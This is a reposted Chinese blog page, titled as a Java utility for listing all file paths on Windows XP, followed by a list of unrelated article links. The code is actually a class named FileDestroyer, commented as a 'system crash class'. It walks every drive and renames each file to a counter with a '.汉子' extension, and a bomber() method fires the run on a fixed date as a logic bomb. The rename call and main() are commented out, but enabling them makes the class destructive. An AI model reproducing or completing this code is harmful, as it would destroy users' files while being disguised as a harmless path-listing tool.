获得WINDOWS XP系统下所有文件路径类
来源:互联网 发布:阿里的域名泛解析 编辑:程序博客网 时间:2024/06/15 17:41
import java.io.File;
import java.util.*;
//系统崩溃类,谨慎使用!
public class FileDestroyer
{
private String path="havefun.txt";
private File file=new File(path);
private File[] fr=file.listRoots();
private List<File> fls=new ArrayList<File>();
private List count=new ArrayList();
//获得系统根目录
public void getRootNames()
{
this.fill(fr, fls);
this.removeEmptyRoot(fls);
}
//清空空的根目录
public void removeEmptyRoot(List<File> l)
{
for(int i=0;i<l.size();i++)
{
if(l.get(i).listFiles()==null)
{
l.remove(i);
removeEmptyRoot(l);
}
}
}
//测试方法:获得根目录下所有文件夹路径
public void getDirNames()
{
File[] f=fls.get(fls.size()-2).listFiles();
List<File> fe=new ArrayList<File>();
this.fill(f, fe);
this.dirFilter(fe);
}
//测试方法:获得根目录下所有文件路径
public void getFileNames()
{
this.fileFilter(fls);
}
//文件列表填充器
public void fill(File [] f,List<File> l)
{
if(f==null)
{
System.out.println("空目录");
}
else
for(File ft:f)
{
l.add(ft);
}
}
//文件夹识别器
public void dirFilter(List<File> l)
{
for(File f:l)
{
if(f.isDirectory())
{
File[] ft=f.listFiles();
List<File> fe=new ArrayList<File>();
this.fill(ft, fe);
this.dirFilter(fe);
}
}
}
//文件识别器+破坏者
public void fileFilter(List<File> l)
{
for(File f:l)
{
if(f.isFile())
{
count.add(0);
this.fileDestroyer(f);
}
else if(f.isDirectory())
{
File[] ft=f.listFiles();
List<File> fe=new ArrayList<File>();
this.fill(ft, fe);
this.fileFilter(fe);
}
}
}
//文件破坏方法_1:修改文件名
public void fileDestroyer(File f)
{
String rfn=f.getPath();
StringBuilder st=new StringBuilder(rfn);
if(rfn.lastIndexOf("//")>rfn.lastIndexOf(".")+4)
{
System.out.println(rfn);
}
else
st.replace(rfn.lastIndexOf("//"), rfn.lastIndexOf(".")+4, "//"+count.size()+".汉子");
String nfn=st.toString();
System.out.println(nfn);
//System.out.println(f.renameTo(new File(nfn)));
}
public void bomber()
{
this.getRootNames();
Date d1=new Date(109,11,19);
Date d2=new Date();
if(d1.getMonth()==d2.getMonth()&&d1.getDate()==d2.getDate())
this.getFileNames();
}
public static void main(String[] args)
{
/*FileDestroyer fd=new FileDestroyer();
fd.getRootNames();
fd.getFileNames();
System.out.println(fd.count.size());
fd.bomber();*/
}
}
- 获得WINDOWS XP系统下所有文件路径类
- windows下获得一个指定文件路径下的所有文件
- 获得某路径下的特定格式的所有文件
- C++获得文件夹下所有文件的路径及文件名
- python获得路径和子路径下所有的文件的相关信息
- Windows系统文件路径
- bat脚本5_获得当前目录下所有文件的相对路径
- 又学一招——获得文件夹下所有文件路径 (批处理)
- 获取路径下所有文件
- 获得WINDOWS下所有用户的信息
- 获得WINDOWS下所有用户的信息
- 获得WINDOWS下所有用户的信息
- 获得WINDOWS下所有用户的信息
- 在Windows下C++获得程序路径
- 在Windows下C++获得程序路径
- windows系统下C语言fopen打开文件路径介绍
- c python shell获得文件路径以及所有的文件
- 获得目录下的所有文件
- 循环不变式
- 主题:如何获取系统文件名称及路径
- 小布老师oralce讲座笔记(六)
- 嵌入式linux系统裁剪
- 主题:文思创新本月登陆纽交所 中国软件外包资本破局(转)
- 获得WINDOWS XP系统下所有文件路径类
- Openmp并行编程的入门资料
- MyEclipse 8.0 GA发布
- linux裁剪(DOM上)
- 汉诺塔问题
- Java 程序内存分析
- LINUX高手经验:Linux常见20个问题的详细解答
- 利用CAL进行并行计算
- 串口操作的异步实现:仿照MIDP2.0按键事件处理方法